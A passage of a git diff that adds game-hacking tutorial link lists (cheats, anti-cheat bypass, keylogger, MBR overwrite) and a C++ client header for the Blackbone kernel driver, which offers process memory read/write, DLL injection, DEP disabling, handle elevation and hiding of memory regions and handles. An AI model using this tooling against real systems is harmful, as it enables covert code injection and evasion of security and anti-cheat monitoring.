Hooking](https://youtu.be/aYN7IjGubuY) + +[C++ Skyrim Mods Part3: Writing the ESP](https://youtu.be/jOwTVLqaEsw) + +[C++ Skyrim Hacks Part4: NoClip Hack Tutorial Part 1](https://youtu.be/-ZJyAWDQXzM) + +[C++ Skyrim Mods Part5: NoClip Part 2](https://youtu.be/W0IgSTlGJTY) + +[C++ Skyrim Mods Part6: Map Teleport & ASM](https://youtu.be/NzyFl4_LM3M) + +[C++ Skyrim Mods Part 7: Find Bones & Write ESP](https://youtu.be/JtWPpbLAh8Q) + +## DLL注入 + +[Manual Mapping DLL Injection Tutorial - How to Manual Map 1of4](https://youtu.be/qzZTXcBu3cE) + +[Manual Mapping DLL Injection Tutorial 2of4](https://youtu.be/EXRm7tCOwGg) + +[Manual Mapping DLL Injection Tutorial 3of4](https://youtu.be/c8B--5lKbNg) + +[Manual Mapping DLL Injection Tutorial 4of4](https://youtu.be/_7SvkCGE67M) diff --git "a/[\346\225\231\347\250\213] [Zer0Mem0ry] Counterstrike Global Offensive/README.md" "b/[\346\225\231\347\250\213] [Zer0Mem0ry] Counterstrike Global Offensive/README.md" new file mode 100644 index 0000000..ac9ab87 --- /dev/null +++ "b/[\346\225\231\347\250\213] [Zer0Mem0ry] Counterstrike Global Offensive/README.md" @@ -0,0 +1,49 @@ +# [国外教程] + +作者 : Zer0Mem0ry + +平台 : YouTube + +语言 : C++ + +教程 : :smile: + +[C/C++ — Manual Dll Injection | Manual Mapping](https://youtu.be/X393OZqSPUk) + +[Dll Injection Explained - how it works + source code](https://youtu.be/IBwoVUR1gt8) + +[How Function Hooking / Detouring Works](https://youtu.be/b1ahj347pDc) + +[C/C++ Memory Hacking — Function Hooking / Detouring](https://youtu.be/JixHeLgQwHM) + +[C/C++ Kernel Mode / Game Hacking — CS:GO Undetectable External Bunnyhop! (VAC Bypass)](https://youtu.be/sJdBtPosWQs) + +[C/C++ Kernel Mode — Communcation From User space To Kernel Space (IOCTL)](https://youtu.be/1JWNrAk-Kx0) + +[C/C++ Cryptography — Simple CRC32 Brute Force Cracking Algorithm](https://youtu.be/yz4n3c_H1xk) + +[C/C++ Kernel Mode — Read/Write Process' Memory From Driver](https://youtu.be/1HVJqyTOL2Q) + +[Reverse-Engineering — Crack / Patch Program | Bypass Security Checks (IDA Cracking Part 1)](https://youtu.be/3d5Ler_8cHg) + +[Reverse-Engineering — Cracking a Program In Practice (IDA Cracking Part 2)](https://youtu.be/wq6fk5oDbVg) + +[C/C++ Prank Program — Screen Melting Effect](https://youtu.be/VrBxr0PD4xo) + +[C/C++ Disable Address Space Layout Randomization (ASLR) & DEP Of Another Program](https://youtu.be/9nq0RHfrAi4) + +[C/C++ Game Hacking — Simple Wallhack (CS:GO)](https://youtu.be/JPlAqPb4izs) + +[C/C++ Memory Hacking — Powerful Virus | Overwrite MBR](https://youtu.be/2Gfmw_6sYz4) + +[C/C++ Malware — Simple Keylogger | Log Keystrokes](https://youtu.be/8X2UOfkOuZY) + +[C/C++ Game Hacking — Simple Triggerbot (CS:GO)](https://youtu.be/QFWqjpceiuw) + +[Reverse Engineering — Decompiling A Virus To C Source Code (IDA Pro)](https://youtu.be/gYkDcUO9otQ) + +[C/C++ Game Hacking – Perfect Bunny Hop (CS:GO)](https://youtu.be/q78Fh1mrOU4) + +[C/C++ Memory Hacking — Self Modifying Code | Encrypt Memory At Runtime](https://youtu.be/MBvdWULRBU8) + +[C/C++ Memory Hacking — Code Cave | Inject function to a process](https://youtu.be/0NwlWaT9NEY) diff --git "a/[\346\225\231\347\250\213] [atiksoftware] pubg mobile/README.md" "b/[\346\225\231\347\250\213] [atiksoftware] pubg mobile/README.md" new file mode 100644 index 0000000..e310496 --- /dev/null +++ "b/[\346\225\231\347\250\213] [atiksoftware] pubg mobile/README.md" @@ -0,0 +1,18 @@ +## 作者 : atiksoftware +## 平台 : Youtube +## 集数 : 10 +## 游戏 : pubg mobile + +[第一集](https://www.youtube.com/watch?v=ya0rbAwFKdY) +[第二集](https://www.youtube.com/watch?v=8DxZExFLges) +[第三集](https://www.youtube.com/watch?v=mukNNm5MxJE) +[第四集](https://www.youtube.com/watch?v=nVuDz1hbYEs) +[第五集](https://www.youtube.com/watch?v=uJiurAlhsWw) +[第六集](https://www.youtube.com/watch?v=UI6xyrmGtQ4) +[第七集](https://www.youtube.com/watch?v=V3bd7XEfW68) +[第八集](https://www.youtube.com/watch?v=TpCXqkRH08A) +[第九集](https://www.youtube.com/watch?v=RYxih0Phqgg) +[第十集](https://www.youtube.com/watch?v=RXzzC8rI6H4) + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Blackbone [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/blackbone_interface.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Blackbone [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/blackbone_interface.hpp" new file mode 100644 index 0000000..76585d2 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Blackbone [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/blackbone_interface.hpp" @@ -0,0 +1,717 @@ +#pragma once +#pragma warning(disable : 4005) + +#include +#include +#include + +#include +#include +#include + +#define FILE_DEVICE_BLACKBONE 0x8005 + +#define IOCTL_BLACKBONE_DISABLE_DEP (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x800, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_SET_PROTECTION (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x801, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_GRANT_ACCESS (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x802, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_ALLOCATE_FREE_MEMORY (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x804, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_COPY_MEMORY (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x803, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_PROTECT_MEMORY (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x805, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_MAP_MEMORY (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x806, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_MAP_REGION (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x807, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_UNMAP_MEMORY (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x808, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_UNMAP_REGION (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x809, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_INJECT_DLL (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x80B, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_HIDE_VAD (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x80A, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_UNLINK_HTABLE (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x80D, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) +#define IOCTL_BLACKBONE_ENUM_REGIONS (ULONG)CTL_CODE(FILE_DEVICE_BLACKBONE, 0x80E, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) + +typedef struct _DISABLE_DEP +{ + ULONG pid; // Process ID +} DISABLE_DEP, *PDISABLE_DEP; + +typedef enum _PolicyOpt +{ + Policy_Disable, + Policy_Enable, + Policy_Keep, // Don't change current value +} PolicyOpt; + +typedef struct _SET_PROC_PROTECTION +{ + ULONG pid; // Process ID + PolicyOpt protection; // Process protection + PolicyOpt dynamicCode; // DynamiCode policy + PolicyOpt signature; // BinarySignature policy +} SET_PROC_PROTECTION, *PSET_PROC_PROTECTION; + +typedef struct _HANDLE_GRANT_ACCESS +{ + ULONGLONG handle; // Handle to modify + ULONG pid; // Process ID + ULONG access; // Access flags to grant +} HANDLE_GRANT_ACCESS, *PHANDLE_GRANT_ACCESS; + +typedef struct _ALLOCATE_FREE_MEMORY +{ + ULONGLONG base; // Region base address + ULONGLONG size; // Region size + ULONG pid; // Target process id + ULONG protection; // Memory protection for allocation + ULONG type; // MEM_RESERVE/MEM_COMMIT/MEM_DECOMMIT/MEM_RELEASE + BOOLEAN allocate; // TRUE if allocation, FALSE is freeing + BOOLEAN physical; // If set to TRUE, physical pages will be directly mapped into UM space +} ALLOCATE_FREE_MEMORY, *PALLOCATE_FREE_MEMORY; + +typedef struct _ALLOCATE_FREE_MEMORY_RESULT +{ + ULONGLONG address; // Address of allocation + ULONGLONG size; // Allocated size +} ALLOCATE_FREE_MEMORY_RESULT, *PALLOCATE_FREE_MEMORY_RESULT; + +typedef struct _COPY_MEMORY +{ + ULONGLONG localbuf; // Buffer address + ULONGLONG targetPtr; // Target address + ULONGLONG size; // Buffer size + ULONG pid; // Target process id + BOOLEAN write; // TRUE if write operation, FALSE if read +} COPY_MEMORY, *PCOPY_MEMORY; + +typedef struct _PROTECT_MEMORY +{ + ULONGLONG base; // Region base address + ULONGLONG size; // Region size + ULONG pid; // Target process id + ULONG newProtection; // New protection value +} PROTECT_MEMORY, *PPROTECT_MEMORY; + +struct MapMemoryResult +{ + DWORD64 hostSharedPage; // Shared page address in current process + DWORD64 targetSharedPage; // Shared page address in target process + HANDLE targetPipe; // Hook pipe handle in the target process + + using mapMemoryMap = std::map, DWORD64>; + mapMemoryMap regions; // Mapped regions info +}; + +typedef struct _MAP_MEMORY +{ + ULONG pid; // Target process id + wchar_t pipeName[32]; // Hook pipe name + BOOLEAN mapSections; // Set to TRUE to map sections +} MAP_MEMORY, *PMAP_MEMORY; + +typedef struct _MAP_MEMORY_RESULT_ENTRY +{ + ULONGLONG originalPtr; // Address in target process + ULONGLONG newPtr; // Mapped address in host process + ULONG size; // Region size +} MAP_MEMORY_RESULT_ENTRY, *PMAP_MEMORY_RESULT_ENTRY; + +typedef struct _MAP_MEMORY_RESULT +{ + ULONGLONG pipeHandle; // Pipe handle in target process + ULONGLONG targetPage; // Address of shared page in target process + ULONGLONG hostPage; // Address of shared page in host process + + ULONG count; // Number of REMAP_MEMORY_RESULT_ENTRY entries + + // List of remapped regions (variable-sized array) + MAP_MEMORY_RESULT_ENTRY entries[1]; +} MAP_MEMORY_RESULT, *PMAP_MEMORY_RESULT; + +struct MapMemoryRegionResult +{ + DWORD64 originalPtr; // Address of region in the target process + DWORD64 newPtr; // Address of mapped region in the current process + DWORD64 removedPtr; // Address of region unmapped because of address conflict + uint32_t size; // Size of mapped region + uint32_t removedSize; // Size of unmapped region +}; + +typedef struct _MAP_MEMORY_REGION +{ + ULONGLONG base; // Region base address + ULONG pid; // Target process id + ULONG size; // Region size +} MAP_MEMORY_REGION, *PMAP_MEMORY_REGION; + +typedef struct _MAP_MEMORY_REGION_RESULT +{ + ULONGLONG originalPtr; // Address in target process + ULONGLONG newPtr; // Mapped address in host process + ULONGLONG removedPtr; // Unmapped region base, in case of conflicting region + ULONG size; // Mapped region size + ULONG removedSize; // Unmapped region size +} MAP_MEMORY_REGION_RESULT, *PMAP_MEMORY_REGION_RESULT; + +typedef struct _UNMAP_MEMORY +{ + ULONG pid; // Target process ID +} UNMAP_MEMORY, *PUNMAP_MEMORY; + +typedef struct _UNMAP_MEMORY_REGION +{ + ULONGLONG base; // Region base address + ULONG pid; // Target process ID + ULONG size; // Region size +} UNMAP_MEMORY_REGION, *PUNMAP_MEMORY_REGION; + +typedef enum _InjectType +{ + IT_Thread, // CreateThread into LdrLoadDll + IT_Apc, // Force user APC into LdrLoadDll + IT_MMap, // Manual map +} InjectType; + +typedef enum _MmapFlags +{ + KNoFlags = 0x00, // No flags + KManualImports = 0x01, // Manually map import libraries + KWipeHeader = 0x04, // Wipe image PE headers + KHideVAD = 0x10, // Make image appear as PAGE_NOACESS region + KRebaseProcess = 0x40, // If target image is an .exe file, process base address will be replaced with mapped module value + KNoThreads = 0x80, // Don't create new threads, use hijacking + + KNoExceptions = 0x01000, // Do not create custom exception handler + KNoSxS = 0x08000, // Do not apply SxS activation context + KNoTLS = 0x10000, // Skip TLS initialization and don't execute TLS callbacks +} KMmapFlags; + +typedef struct _INJECT_DLL +{ + InjectType type; // Type of injection + wchar_t FullDllPath[512]; // Fully-qualified path to the target dll + wchar_t initArg[512]; // Init routine argument + ULONG initRVA; // Init routine RVA, if 0 - no init routine + ULONG pid; // Target process ID + BOOLEAN wait; // Wait on injection thread + BOOLEAN unlink; // Unlink module after injection + BOOLEAN erasePE; // Erase PE headers after injection + KMmapFlags flags; // Manual map flags + ULONGLONG imageBase; // Image address in memory to manually map + ULONG imageSize; // Size of memory image + BOOLEAN asImage; // Memory chunk has image layout +} INJECT_DLL, *PINJECT_DLL; + +typedef struct _MMAP_DRIVER +{ + wchar_t FullPath[512]; // Fully-qualified path to the driver +} MMAP_DRIVER, *PMMAP_DRIVER; + +typedef struct _HIDE_VAD +{ + ULONGLONG base; // Region base address + ULONGLONG size; // Region size + ULONG pid; // Target process ID +} HIDE_VAD, *PHIDE_VAD; + +typedef struct _UNLINK_HTABLE +{ + ULONG pid; // Process ID +} UNLINK_HTABLE, *PUNLINK_HTABLE; + +typedef struct _ENUM_REGIONS +{ + ULONG pid; // Process ID +} ENUM_REGIONS, *PENUM_REGIONS; + +typedef struct _MEM_REGION +{ + ULONGLONG BaseAddress; + ULONGLONG AllocationBase; + ULONG AllocationProtect; + ULONGLONG RegionSize; + ULONG State; + ULONG Protect; + ULONG Type; +} MEM_REGION, *PMEM_REGION; + +typedef struct _ENUM_REGIONS_RESULT +{ + ULONGLONG count; // Number of records + MEM_REGION regions[1]; // Found regions, variable-sized +} ENUM_REGIONS_RESULT, *PENUM_REGIONS_RESULT; + +namespace Interfaces +{ + // + static HANDLE _hDriver = INVALID_HANDLE_VALUE; + + // ӷ + // {985C59E7-0DC1-41C3-8F38-49DAD5B89967} + static const wchar_t* _Link = L"\\\\.\\{985C59E7-0DC1-41C3-8F38-49DAD5B89967}"; + + // ʼ + HANDLE Initialize() + { + _hDriver = CreateFileW(_Link, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + + return _hDriver; + } + + // DEP + NTSTATUS DisableDEP(DWORD pid) + { + DWORD bytes = 0; + DISABLE_DEP disableDep = { pid }; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_DISABLE_DEP, &disableDep, sizeof(disableDep), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ý̱ʶ + NTSTATUS ProtectProcess( + DWORD pid, + PolicyOpt protection, + PolicyOpt dynamicCode = Policy_Keep, + PolicyOpt binarySignature = Policy_Keep) + { + DWORD bytes = 0; + SET_PROC_PROTECTION setProt = { pid, protection, dynamicCode, binarySignature }; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_SET_PROTECTION, &setProt, sizeof(setProt), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ޸ľȨ + NTSTATUS PromoteHandle( + DWORD pid, + HANDLE handle, + DWORD access) + { + DWORD bytes = 0; + HANDLE_GRANT_ACCESS grantAccess = { 0 }; + + grantAccess.pid = pid; + grantAccess.handle = (ULONGLONG)handle; + grantAccess.access = access; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_GRANT_ACCESS, &grantAccess, sizeof(grantAccess), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ڴ + NTSTATUS AllocateMem(DWORD pid, + DWORD64& base, + DWORD64& size, + DWORD type, + DWORD protection, + bool physical = false) + { + DWORD bytes = 0; + ALLOCATE_FREE_MEMORY allocMem = { 0 }; + ALLOCATE_FREE_MEMORY_RESULT result = { 0 }; + + allocMem.pid = pid; + allocMem.base = base; + allocMem.size = size; + allocMem.type = type; + allocMem.protection = protection; + allocMem.allocate = TRUE; + allocMem.physical = physical; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl( + _hDriver, IOCTL_BLACKBONE_ALLOCATE_FREE_MEMORY, + &allocMem, sizeof(allocMem), + &result, sizeof(result), &bytes, NULL)) + { + size = base = 0; + return STATUS_UNSUCCESSFUL; + } + + base = result.address; + size = result.size; + + return STATUS_SUCCESS; + } + + // ͷڴ + NTSTATUS FreeMem( + DWORD pid, + DWORD64 base, + DWORD64 size, + DWORD type) + { + DWORD bytes = 0; + ALLOCATE_FREE_MEMORY freeMem = { 0 }; + ALLOCATE_FREE_MEMORY_RESULT result = { 0 }; + + freeMem.pid = pid; + freeMem.base = base; + freeMem.size = size; + freeMem.type = type; + freeMem.allocate = FALSE; + freeMem.physical = FALSE; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl( + _hDriver, IOCTL_BLACKBONE_ALLOCATE_FREE_MEMORY, + &freeMem, sizeof(freeMem), + &result, sizeof(result), &bytes, NULL)) + { + return STATUS_UNSUCCESSFUL; + } + + return STATUS_SUCCESS; + } + + // ȡڴ + NTSTATUS ReadMem( + DWORD pid, + DWORD64 base, + DWORD64 size, + PVOID buffer) + { + DWORD bytes = 0; + COPY_MEMORY copyMem = { 0 }; + + copyMem.pid = pid; + copyMem.targetPtr = base; + copyMem.localbuf = (ULONGLONG)buffer; + copyMem.size = size; + copyMem.write = FALSE; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_COPY_MEMORY, ©Mem, sizeof(copyMem), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // дڴ + NTSTATUS WriteMem( + DWORD pid, + DWORD64 base, + DWORD64 size, + PVOID buffer) + { + DWORD bytes = 0; + COPY_MEMORY copyMem = { 0 }; + + copyMem.pid = pid; + copyMem.targetPtr = base; + copyMem.localbuf = (ULONGLONG)buffer; + copyMem.size = size; + copyMem.write = TRUE; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_COPY_MEMORY, ©Mem, sizeof(copyMem), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ڴ + NTSTATUS ProtectMem( + DWORD pid, + DWORD64 base, + DWORD64 size, + DWORD protection) + { + DWORD bytes = 0; + PROTECT_MEMORY protectMem = { 0 }; + + protectMem.pid = pid; + protectMem.base = base; + protectMem.size = size; + protectMem.newProtection = protection; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_PROTECT_MEMORY, &protectMem, sizeof(protectMem), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ӳڴ + NTSTATUS MapMemory( + DWORD pid, + const std::wstring& pipeName, + bool mapSections, + MapMemoryResult& result) + { + MAP_MEMORY data = { 0 }; + DWORD bytes = 0; + ULONG sizeRequired = 0; + data.pid = pid; + data.mapSections = mapSections; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + wcscpy_s(data.pipeName, pipeName.c_str()); + + BOOL res = DeviceIoControl(_hDriver, IOCTL_BLACKBONE_MAP_MEMORY, &data, sizeof(data), &sizeRequired, sizeof(sizeRequired), &bytes, NULL); + if (res != FALSE && bytes == 4) + { + MAP_MEMORY_RESULT* pResult = (MAP_MEMORY_RESULT*)malloc(sizeRequired); + + if (DeviceIoControl(_hDriver, IOCTL_BLACKBONE_MAP_MEMORY, &data, sizeof(data), pResult, sizeRequired, &bytes, NULL)) + { + for (ULONG i = 0; i < pResult->count; i++) + result.regions.emplace(std::make_pair(std::make_pair(pResult->entries[i].originalPtr, pResult->entries[i].size), + pResult->entries[i].newPtr)); + + result.hostSharedPage = pResult->hostPage; + result.targetSharedPage = pResult->targetPage; + result.targetPipe = (HANDLE)pResult->pipeHandle; + + free(pResult); + return STATUS_SUCCESS; + } + } + + return STATUS_UNSUCCESSFUL; + } + + // ӳڴ + NTSTATUS MapMemoryRegion( + DWORD pid, + DWORD64 base, + uint32_t size, + MapMemoryRegionResult& result) + { + MAP_MEMORY_REGION data = { 0 }; + MAP_MEMORY_REGION_RESULT mapResult = { 0 }; + DWORD bytes = 0; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + data.pid = pid; + data.base = base; + data.size = size; + + if (DeviceIoControl(_hDriver, IOCTL_BLACKBONE_MAP_REGION, &data, sizeof(data), &mapResult, sizeof(mapResult), &bytes, NULL)) + { + result.newPtr = mapResult.newPtr; + result.originalPtr = mapResult.originalPtr; + result.removedPtr = mapResult.removedPtr; + result.removedSize = mapResult.removedSize; + result.size = mapResult.size; + + return STATUS_SUCCESS; + } + + return STATUS_UNSUCCESSFUL; + } + + // ȡڴӳ + NTSTATUS UnmapMemory(DWORD pid) + { + UNMAP_MEMORY data = { pid }; + DWORD bytes = 0; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (DeviceIoControl(_hDriver, IOCTL_BLACKBONE_UNMAP_MEMORY, &data, sizeof(data), NULL, 0, &bytes, NULL)) + return STATUS_SUCCESS; + + return STATUS_UNSUCCESSFUL; + } + + // ȡڴӳ + NTSTATUS UnmapMemoryRegion( + DWORD pid, + DWORD64 base, + uint32_t size) + { + UNMAP_MEMORY_REGION data = { 0 }; + DWORD bytes = 0; + + data.pid = pid; + data.base = base; + data.size = size; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_UNMAP_REGION, &data, sizeof(data), NULL, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // עDLL + NTSTATUS InjectDll( + DWORD pid, + const std::wstring& path, + InjectType itype, + uint32_t initRVA = 0, + const std::wstring& initArg = L"", + bool unlink = false, + bool erasePE = false, + bool wait = true) + { + DWORD bytes = 0; + INJECT_DLL data = { IT_Thread }; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + wcscpy_s(data.FullDllPath, path.c_str()); + wcscpy_s(data.initArg, initArg.c_str()); + data.type = itype; + data.pid = pid; + data.initRVA = initRVA; + data.wait = wait; + data.unlink = unlink; + data.erasePE = erasePE; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_INJECT_DLL, &data, sizeof(data), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ӳDLL + NTSTATUS MmapDll( + DWORD pid, + void* address, + uint32_t size, + bool asImage, + KMmapFlags flags, + uint32_t initRVA = 0, + const std::wstring& initArg = L"") + { + DWORD bytes = 0; + INJECT_DLL data = { IT_MMap }; + + memset(data.FullDllPath, 0, sizeof(data.FullDllPath)); + wcscpy_s(data.initArg, initArg.c_str()); + + data.pid = pid; + data.initRVA = initRVA; + data.wait = true; + data.unlink = false; + data.erasePE = false; + data.flags = flags; + data.imageBase = (ULONGLONG)address; + data.imageSize = size; + data.asImage = asImage; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_INJECT_DLL, &data, sizeof(data), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ڴֹ + NTSTATUS ConcealVAD( + DWORD pid, + DWORD64 base, + uint32_t size) + { + DWORD bytes = 0; + HIDE_VAD hideVAD = { 0 }; + + hideVAD.base = base; + hideVAD.size = size; + hideVAD.pid = pid; + + // Not loaded + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_HIDE_VAD, &hideVAD, sizeof(hideVAD), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // ؾ + NTSTATUS UnlinkHandleTable(DWORD pid) + { + DWORD bytes = 0; + UNLINK_HTABLE unlink = { pid }; + + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_UNLINK_HTABLE, &unlink, sizeof(unlink), nullptr, 0, &bytes, NULL)) + return STATUS_UNSUCCESSFUL; + + return STATUS_SUCCESS; + } + + // öڴ + NTSTATUS EnumMemoryRegions( + DWORD pid, + std::vector& regions) + { + if (_hDriver == INVALID_HANDLE_VALUE) + return STATUS_UNSUCCESSFUL; + + DWORD bytes = 0; + ENUM_REGIONS data = { 0 }; + DWORD size = sizeof(ENUM_REGIONS_RESULT); + auto result = reinterpret_cast(malloc(size)); + + data.pid = pid; + result->count = 0; + + DeviceIoControl(_hDriver, IOCTL_BLACKBONE_ENUM_REGIONS, &data, sizeof(data), result, size, &bytes, NULL); + + result->count += 100; + size = static_cast(result->count * sizeof(result->regions[0]) + sizeof(result->count)); + result = reinterpret_cast(realloc(result, size)); + + if (!DeviceIoControl(_hDriver, IOCTL_BLACKBONE_ENUM_REGIONS, &data, sizeof(data), result, size, &bytes, NULL)) + { + free(result); + return STATUS_UNSUCCESSFUL; + } + + regions.resize(static_cast(result->count)); + for (uint32_t i = 0; i < result->count; i++) + { + regions[i].AllocationBase = result->regions[i].AllocationBase; + regions[i].AllocationProtect = result->regions[i].AllocationProtect; + regions[i].BaseAddress = result->regions[i].BaseAddress; + regions[i].Protect = result->regions[i].Protect; + regions[i].RegionSize = result->regions[i].RegionSize; + regions[i].State = result->regions[i].State; + regions[i].Type = result->regions[i].Type; + } + + free(result); + return STATUS_SUCCESS; + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/CallBack [\345\233\236\350\260\203\351\200\232\344\277\241]/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/CallBack [\345\233\236\350\260\203\351\200\232\344\277\241]/README.md" new file mode 100644 index 0000000..cf4bdc1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/CallBack [\345\233\236\350\260\203\351\200\232\344\277\241]/README.md" @@ -0,0 +1,2 @@ +# 等待更新... + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Dispatch [\345\210\206\345\217\221\351\200\232\344\277\241]/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Dispatch [\345\210\206\345\217\221\351\200\232\344\277\241]/README.md" new file mode 100644 index 0000000..cf4bdc1 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Dispatch [\345\210\206\345\217\221\351\200\232\344\277\241]/README.md" @@ -0,0 +1,2 @@ +# 等待更新... + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL.sln" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL.sln" new file mode 100644 index 0000000..b798e88 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL.sln" @@ -0,0 +1,65 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.1209 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Driver_IOCTL", "Driver_IOCTL\Driver_IOCTL.vcxproj", "{E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}" +EndProject 